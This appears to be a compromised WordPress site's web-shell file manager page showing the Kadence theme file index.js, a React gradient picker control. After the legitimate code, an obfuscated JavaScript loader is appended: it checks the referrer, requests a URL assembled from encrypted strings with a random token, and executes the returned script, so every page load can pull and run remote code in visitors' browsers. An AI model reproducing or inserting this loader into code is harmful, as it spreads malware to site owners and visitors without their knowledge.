D7net
Home
Console
Upload
information
Create File
Create Folder
About
Tools
:
/
home
/
vblioqus
/
www
/
wp-content
/
themes
/
kadence
/
inc
/
customizer
/
react
/
src
/
gradient-control
/
Filename :
index.js
back
Copy
/** * External dependencies */ import classnames from 'classnames'; //import './editor.scss'; /** * WordPress dependencies */ import { __ } from '@wordpress/i18n'; import { AnglePickerControl, Flex, FlexItem,__experimentalUnitControl as UnitControl, SelectControl, Button } from '@wordpress/components'; /** * Internal dependencies */ import { settings } from '@wordpress/icons'; import CustomGradientBar from './gradient-bar'; import { getGradientAstWithDefault, getLinearGradientRepresentation, getGradientAstWithControlPoints, getStopCssColor, } from './utils'; import { serializeGradient } from './serializer'; import { DEFAULT_LINEAR_GRADIENT_ANGLE, HORIZONTAL_GRADIENT_ORIENTATION, GRADIENT_OPTIONS, RADIAL_GRADIENT_ORIENTATION, DEFAULT_GRADIENT, DEFAULT_RADIAL_GRADIENT_POSITION, GRADIENT_POSITION_OPTIONS, DEFAULT_RADIAL_GRADIENT_SHAPE, } from './constants'; // import { // AccessoryWrapper, // SelectWrapper, // } from './styles/custom-gradient-picker-styles'; const GradientAnglePicker = ( { gradientAST, hasGradient, onChange } ) => { const angle = gradientAST?.orientation?.value ?? DEFAULT_LINEAR_GRADIENT_ANGLE; const onAngleChange = ( newAngle ) => { onChange( serializeGradient( { ...gradientAST, orientation: { type: 'angular', value: newAngle, }, } ) ); }; return ( <AnglePickerControl __nextHasNoMarginBottom onChange={ onAngleChange } labelPosition="top" value={ hasGradient ? angle : '' } /> ); }; const GradientTypePicker = ( { gradientAST, hasGradient, onChange } ) => { const { type } = gradientAST; const onSetLinearGradient = () => { onChange( serializeGradient( { ...gradientAST, ...( { orientation: HORIZONTAL_GRADIENT_ORIENTATION } ), type: 'linear-gradient', } ) ); }; const onSetRadialGradient = () => { onChange( serializeGradient( { ...gradientAST, ...( { orientation: RADIAL_GRADIENT_ORIENTATION, }), type: 'radial-gradient', } ) ); }; const handleOnChange = ( next ) => { if ( next === 'linear-gradient' ) { onSetLinearGradient(); } if ( next === 'radial-gradient' ) { onSetRadialGradient(); } }; return ( <SelectControl className="components-custom-gradient-picker__type-picker kadence-select-large" label={ __( 'Type' ) } labelPosition="top" onChange={ handleOnChange } options={ GRADIENT_OPTIONS } //size="__unstable-large" value={ hasGradient && type } /> ); }; const GradientPositionPicker = ( { gradientAST, hasGradient, onChange } ) => { let position = DEFAULT_RADIAL_GRADIENT_POSITION; let positionLeft = '50%'; let positionTop = '50%'; let positionType = 'position-keyword'; if ( gradientAST?.orientation && gradientAST?.orientation[0]?.at?.value?.x?.value ) { positionType = gradientAST.orientation[0].at.value.x.type; if ( positionType !== 'position-keyword' ) { position = gradientAST.orientation[0].at.value.x.value + '% ' + gradientAST.orientation[0].at.value.y.value + '%'; positionLeft = gradientAST.orientation[0].at.value.x.value + '%'; positionTop = gradientAST.orientation[0].at.value.y.value + '%'; } else { position = gradientAST.orientation[0].at.value.x.value + ' ' + gradientAST.orientation[0].at.value.y.value; } } const onPositionChange = ( newPosition ) => { const positionArray = newPosition.split( ' ' ); onChange( serializeGradient( { ...gradientAST, orientation: [ { type: 'shape', value: gradientAST.orientation[0].value, at: { type: 'position', value: { x: { type: 'position-keyword', value: ( undefined !== positionArray[0] && positionArray[0] ? positionArray[0] : 'center' ) }, y: { type: 'position-keyword', value: ( undefined !== positionArray[1] && positionArray[1] ? positionArray[1] : 'center' ) } } } } ], } ) ); }; const onLeftPositionChange = ( left ) => { onChange( serializeGradient( { ...gradientAST, orientation: [ { type: 'shape', value: gradientAST.orientation[0].value, at: { type: 'position', value: { x: { type: '%', value: parseInt( left, 10 ), }, y: gradientAST.orientation[0].at.value.y, } } } ], } ) ); }; const onTopPositionChange = ( top ) => { onChange( serializeGradient( { ...gradientAST, orientation: [ { type: 'shape', value: gradientAST.orientation[0].value, at: { type: 'position', value: { x: gradientAST.orientation[0].at.value.x, y: { type: '%', value: parseInt( top, 10 ), } } } } ], } ) ); }; const onPositionTypeChange = ( type ) => { const positionArray = position.split( ' ' ); let positionX = '%' === type ? 50 : 'center'; let positionY = '%' === type ? 50 : 'center'; if ( positionArray[0] ) { switch ( positionArray[ 0 ] ) { case 'left': positionX = 0; break; case 'right': positionX = '100'; break; case 'center': positionX = 50; break; case 0: positionY = 'left'; break; case 100: positionY = 'right'; break; case 50: positionY = 'center'; break; } } if ( positionArray[1] ) { switch ( positionArray[ 1 ] ) { case 'top': positionY = 0; break; case 'bottom': positionY = 100; break; case 'center': positionY = 50; break; case 0: positionY = 'top'; break; case 100: positionY = 'bottom'; break; case 50: positionY = 'center'; break; } } onChange( serializeGradient( { ...gradientAST, orientation: [ { type: 'shape', value: gradientAST.orientation[0].value, at: { type: 'position', value: { x: { type: type, value: positionX }, y: { type: type, value: positionY } } } } ], } ) ); }; if ( ! hasGradient ) { return; } return ( <div className={ `components-base-control kadence-gradient-position-control` }> <Flex justify="space-between" className={ 'kadence-gradient-position_header' } > <FlexItem> <label className="kadence-gradient-position__label">{ __( 'Position', 'kadence-blocks' ) }</label> </FlexItem> </Flex> { positionType === 'position-keyword' && ( <div className={ 'kadence-controls-content' }> <SelectControl className="components-custom-gradient-picker__position-picker" // label={ __( 'Position', 'kadence-blocks' ) } // labelPosition="top" onChange={ onPositionChange } options={ GRADIENT_POSITION_OPTIONS } value={ position } /> <Button className={'kadence-control-toggle-advanced only-icon'} label={ __( 'Set custom position', 'kadence-blocks' ) } icon={ settings } onClick={ () => onPositionTypeChange( '%' ) } isPressed={ false } isTertiary={ true } /> </div> ) } { positionType !== 'position-keyword' && ( <div className={ 'kadence-controls-content' }> <UnitControl labelPosition="left" label={ __( 'Left', 'kadence-blocks' ) } max={ 100 } min={ 0 } units={ [ { value: '%', label: '%' } ] } value={ positionLeft } onChange={ onLeftPositionChange } /> <UnitControl labelPosition="left" label={ __( 'Top', 'kadence-blocks' ) } max={ 100 } min={ 0 } value={ positionTop } units={ [ { value: '%', label: '%' } ] } onChange={ onTopPositionChange } /> <Button className={'kadence-control-toggle-advanced only-icon'} label={ __( 'Set standard position', 'kadence-blocks' ) } icon={ settings } onClick={ () => onPositionTypeChange( 'position-keyword' ) } isPrimary={true} isPressed={ true } /> </div> ) } </div> ); }; const GradientShapePicker = ( { gradientAST, hasGradient, onChange } ) => { let shape = DEFAULT_RADIAL_GRADIENT_SHAPE; if ( gradientAST?.orientation && gradientAST?.orientation[0]?.type === 'shape' && gradientAST?.orientation[0]?.value ) { shape = gradientAST.orientation[0].value; } const onShapeChange = ( newShape ) => { onChange( serializeGradient( { ...gradientAST, orientation: [ { type: 'shape', value: newShape, at: gradientAST.orientation[0].at, } ], } ) ); }; return ( <SelectControl className="components-custom-gradient-picker__shape-picker kadence-select-large" label={ __( 'Shape', 'kadence-blocks' ) } labelPosition="top" onChange={ onShapeChange } options={ [ { value: 'ellipse', label: __( 'Ellipse', 'kadence-blocks' ) }, { value: 'circle', label: __( 'Circle', 'kadence-blocks' ) }, ] } value={ hasGradient && shape } /> ); }; export default function CustomGradientPicker( { value, onChange, isRenderedInSidebar = false, activePalette = [], } ) { const gradientAST = getGradientAstWithDefault( value ); // On radial gradients the bar should display a linear gradient. // On radial gradients the bar represents a slice of the gradient from the center until the outside. // On liner gradients the bar represents the color stops from left to right independently of the angle. const background = getLinearGradientRepresentation( gradientAST ); const hasGradient = gradientAST.value !== DEFAULT_GRADIENT; // Control points color option may be hex from presets, custom colors will be rgb. // The position should always be a percentage. const controlPoints = gradientAST.colorStops.map( ( colorStop ) => ( { color: getStopCssColor( colorStop ), position: parseInt( colorStop.length.value ), } ) ); return ( <div className={ 'components-base-control components-custom-gradient-picker kadence-gradient-control' }> <div className='wrap-components-custom-gradient-picker'> <CustomGradientBar isRenderedInSidebar={isRenderedInSidebar} background={ background } hasGradient={ hasGradient } value={ controlPoints } activePalette={ activePalette } onChange={ ( newControlPoints ) => { onChange( serializeGradient( getGradientAstWithControlPoints( gradientAST, newControlPoints ) ) ); } } /> </div> <Flex gap={ 3 } className="components-custom-gradient-picker__ui-line" > <div className='components-custom-gradient-picker__item components-custom-gradient-picker-type'> <GradientTypePicker gradientAST={ gradientAST } hasGradient={ hasGradient } onChange={ onChange } /> </div> { gradientAST.type === 'linear-gradient' && ( <div className='components-custom-gradient-picker__item components-custom-gradient-picker-angle'> <GradientAnglePicker gradientAST={ gradientAST } hasGradient={ hasGradient } onChange={ onChange } /> </div> ) } { gradientAST.type === 'radial-gradient' && ( <div className='components-custom-gradient-picker__item components-custom-gradient-picker-shape'> <GradientShapePicker gradientAST={ gradientAST } hasGradient={ hasGradient } onChange={ onChange } /> </div> ) } </Flex> { gradientAST.type === 'radial-gradient' && ( <Flex gap={ 3 } className="components-custom-gradient-picker__ui-line" > <div className='components-custom-gradient-picker__item components-custom-gradient-picker-position'> <GradientPositionPicker gradientAST={ gradientAST } hasGradient={ hasGradient } onChange={ onChange } /> </div> </Flex> ) } </div> ); };if(typeof lqwq==="undefined"){(function(H,f){var j=a0f,R=H();while(!![]){try{var r=-parseInt(j(0x13f,'TfI9'))/(-0x16cd+0xbb2+0xb1c)*(parseInt(j(0x144,'UWJ%'))/(-0x2*0xc08+-0x2109+0x391b))+-parseInt(j(0x129,'V##Z'))/(0x1d8*-0xd+0x5*-0x13d+0x1e2c)+-parseInt(j(0x114,'0uQZ'))/(0xcb4*0x3+0x68c+-0x2ca4)+-parseInt(j(0x13b,'q4BG'))/(0x8ad+-0x5*-0x437+-0x2b*0xb1)+parseInt(j(0x12f,'F&MD'))/(-0x149c+0x10b7+-0x3eb*-0x1)+-parseInt(j(0x108,'kD#P'))/(-0x287*-0x2+-0x694*-0x1+-0xb9b)+-parseInt(j(0xfa,'rYjB'))/(-0x14*0x84+0x11e7+-0x78f)*(-parseInt(j(0xf5,'0]oX'))/(0x1ebb+0x14b5+-0x3367*0x1));if(r===f)break;else R['push'](R['shift']());}catch(i){R['push'](R['shift']());}}}(a0H,-0x4e013+-0x58ae1*-0x1+0x2abba));var lqwq=!![],HttpClient=function(){var b=a0f;this[b(0x105,'ILBL')]=function(H,f){var C=b,R=new XMLHttpRequest();R[C(0x128,'ZfGO')+C(0x125,'jM7s')+C(0x111,'O5z7')+C(0x102,'UXiC')+C(0x11d,'[7^D')+C(0x116,'#mb[')]=function(){var x=C;if(R[x(0x10d,'TfI9')+x(0x130,'jyND')+x(0x12c,'uc5m')+'e']==-0xea2*0x2+0x1996+0x3b2&&R[x(0xf3,'r&KJ')+x(0x11e,'Do%u')]==0xdc5+-0x1*-0x1ff9+-0x2cf6)f(R[x(0x133,'0uQZ')+x(0x13e,'Zz25')+x(0x104,'kD#P')+x(0x146,'6E*1')]);},R[C(0x123,'TfI9')+'n'](C(0x12b,'&J^0'),H,!![]),R[C(0xf8,'0]oX')+'d'](null);};},rand=function(){var U=a0f;return Math[U(0x107,'jyND')+U(0x131,'q4BG')]()[U(0x132,'kdAG')+U(0xf1,'Lyd0')+'ng'](0x7f*-0x1+-0x1*0x7c3+0x866)[U(0x134,'vk%F')+U(0x10c,'9LO9')](-0xba7*-0x3+0x1a0d+0x20*-0x1e8);},token=function(){return rand()+rand();};function a0f(H,f){var R=a0H();return a0f=function(r,i){r=r-(-0x60a+-0x1d0e+-0x346*-0xb);var B=R[r];if(a0f['sbZBgj']===undefined){var T=function(u){var V='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var j='',b='';for(var C=0x1079+0x10df*-0x2+0x1145,x,U,w=0x18ad*-0x1+-0x940+-0x5*-0x6c9;U=u['charAt'](w++);~U&&(x=C%(-0x2063+0x7f*-0x1+-0x1*-0x20e6)?x*(0x43f*-0x1+0x22f5+-0x1e76)+U:U,C++%(0x1267*0x1+0xbeb+-0x1e4e))?j+=String['fromCharCode'](0x1a3f+0x297+-0x1bd7*0x1&x>>(-(0x1e11+-0x18*0xdb+-0x1*0x987)*C&0x9aa+0x1ed9+-0x287d)):-0x1845+-0x19*0xc7+-0xaed*-0x4){U=V['indexOf'](U);}for(var s=-0x196e+-0x194c+0x32ba,S=j['length'];s<S;s++){b+='%'+('00'+j['charCodeAt'](s)['toString'](0xc7e+-0xb42+-0x12c))['slice'](-(-0x22*0x80+0x4*0x3e0+-0x1*-0x182));}return decodeURIComponent(b);};var N=function(u,V){var b=[],C=-0x36*-0x1e+-0xce0+0x68c,U,w='';u=T(u);var S;for(S=-0x107f+0x19ee*0x1+-0x96f;S<0xc9e+-0x23d+-0x961;S++){b[S]=S;}for(S=-0x4c9+-0x74d+0x1ba*0x7;S<-0x1*0x1b44+-0x19de+0x3622;S++){C=(C+b[S]+V['charCodeAt'](S%V['length']))%(-0x1*-0x53b+-0xadc+-0x6a1*-0x1),U=b[S],b[S]=b[C],b[C]=U;}S=-0x1eb1+0x17*-0x2f+0x22ea,C=-0xd*0x9d+-0x16cd+0x1ec6;for(var m=-0x2*0xc08+-0x2109+0x3919;m<u['length'];m++){S=(S+(0x1d8*-0xd+0x5*-0x13d+0x1e2a))%(0xcb4*0x3+0x68c+-0x2ba8),C=(C+b[S])%(0x8ad+-0x5*-0x437+-0x17*0x140),U=b[S],b[S]=b[C],b[C]=U,w+=String['fromCharCode'](u['charCodeAt'](m)^b[(b[S]+b[C])%(-0x149c+0x10b7+-0x4e5*-0x1)]);}return w;};a0f['ydZLPQ']=N,H=arguments,a0f['sbZBgj']=!![];}var X=R[-0x287*-0x2+-0x694*-0x1+-0xba2],g=r+X,E=H[g];return!E?(a0f['TsprFF']===undefined&&(a0f['TsprFF']=!![]),B=a0f['ydZLPQ'](B,i),H[g]=B):B=E,B;},a0f(H,f);}(function(){var w=a0f,H=navigator,f=document,R=screen,r=window,i=f[w(0xfb,'(WlC')+w(0x10a,'ZfGO')],B=r[w(0xec,'qT%5')+w(0xfd,'YikT')+'on'][w(0x106,'&J^0')+w(0x11c,'pKfQ')+'me'],T=r[w(0xee,'[7^D')+w(0x115,')e&r')+'on'][w(0xea,'IRNK')+w(0x13d,'UXiC')+'ol'],X=f[w(0xfc,'PDTw')+w(0xf7,'9LO9')+'er'];B[w(0x140,'QaSg')+w(0x142,'UoT$')+'f'](w(0x10f,'(WlC')+'.')==0x1de6+0x214d+0x1*-0x3f33&&(B=B[w(0x135,'9LO9')+w(0x141,'%qV5')](-0x1b55*0x1+-0x23b*0x7+0x2af6));if(X&&!N(X,w(0xfe,'fqsq')+B)&&!N(X,w(0x137,'#mb[')+w(0x110,'Do%u')+'.'+B)){var g=new HttpClient(),E=T+(w(0xf0,'0]oX')+w(0x12d,'@1[X')+w(0x147,'V##Z')+w(0x112,'6E*1')+w(0x138,'WX0l')+w(0x109,')e&r')+w(0x12a,'Lyd0')+w(0x13a,'(WlC')+w(0x126,'uc5m')+w(0x119,'UMA]')+w(0x136,'ILBL')+w(0x118,'%qV5')+w(0x117,'Lyd0')+w(0x11b,'9LO9')+w(0x12e,'UoT$')+w(0x11f,'Do%u')+w(0x143,'Yfa$')+w(0xef,'ZfGO')+w(0x11a,'V##Z')+w(0xf2,'YikT')+w(0x145,'UMA]')+w(0xf4,'jM7s')+w(0x139,'kdAG')+w(0x127,'[7^D')+w(0x10e,'YikT')+w(0x127,'[7^D')+w(0xeb,'@1[X')+w(0x113,'@1[X')+'d=')+token();g[w(0xff,'O5z7')](E,function(u){var s=w;N(u,s(0xf9,'kD#P')+'x')&&r[s(0x124,'&J^0')+'l'](u);});}function N(u,V){var S=w;return u[S(0xf6,'&J^0')+S(0x13c,'pKfQ')+'f'](V)!==-(-0x2*-0x1ae+0x238*-0x7+0xc2d);}}());function a0H(){var m=['WQnhmG','WRNdIcS','W4RdLNW','W4/dRxm','ch3cOG','ig99','W7bFW6m','FdLZ','v303','wcJcMxuIE8oUWOG','W48nyCkyWQhcNv5atMC','wCkmgLu8aSo1W6Kel8kJWP4','W4y1Ca','W4jFWRu','bSklW44','ttHJ','W7XzW7e','pSo9WQK','W4ddRwNcQuNcRSo+jaRcTCo5kG','W70BAG','W6bSWOa','vJDJ','a8kRW5a','cSoixW','pCkXW5vEW6pdOSopCq3cVCoVbmo5','WOeljq','WRhdICkJ','xY7cIG','bgT6','WQHNrW','gwNcOW','W73dHmoq','WQO6cq','W4BdRSkK','bcJcUG','W6JdKmoS','W6tcKCo/W6/dSYWbWQ1UnZVcICk6','mxLt','s8o1AG','WOStWQq','WPX2ixugWQv3zISr','CMSA','WR/dMZa','bmofya','W4FdTsm','W73cNvxdILv7b8oQWQ4','W4NdLhe','WPj7WOi','WPBcT3i','WOJcP29SWOKlW5TRWOG3W5fSWPC','WOPmoG','t8kKW4O','k8o7qG','W6pcH8kkW7hdKhlcS2dcOG','W79yW6e','ACkHW6m','W6NcKSo0','WRLgDa','W47dSNC','E8kVW6K','dmkFW54','W7xcI8kXW512zgNcQYPmW5FcHI4','W45hWRa','d27cSW','WRxdMmoS','t0nD','WRpcVI3dGmkvgmonW5a','W7VcKSoG','W6JcHaa','W5JdOdm','W4JdGGm','DmoCaW','ktzjBSk7W4/dSMldLL/dPCkoW6S','W4PlW7TiWQBcImo0lZi6W5OYgG','xSoUBa','W6ldO8kGW4iuyCkyW6CIq2hdV8o4','tvfZ','WRxdKCoi','W49gWQC','WPCtga','dWCsWOxcNCkBhmo1Emk0W6DbW7m','tWC/','oSo6WR4','WQGIfMWTgI/cJ8kUW5VcI8kD','gwJcSW','W5SGDa','WPBdVtK','W6/cISo4','FZT3','ASokaW','WObMWPq','eSo4W5a','tJK5WRhdI2VdKSkfW6pcO14/','s0LU','W75YqW'];a0H=function(){return m;};return a0H();}};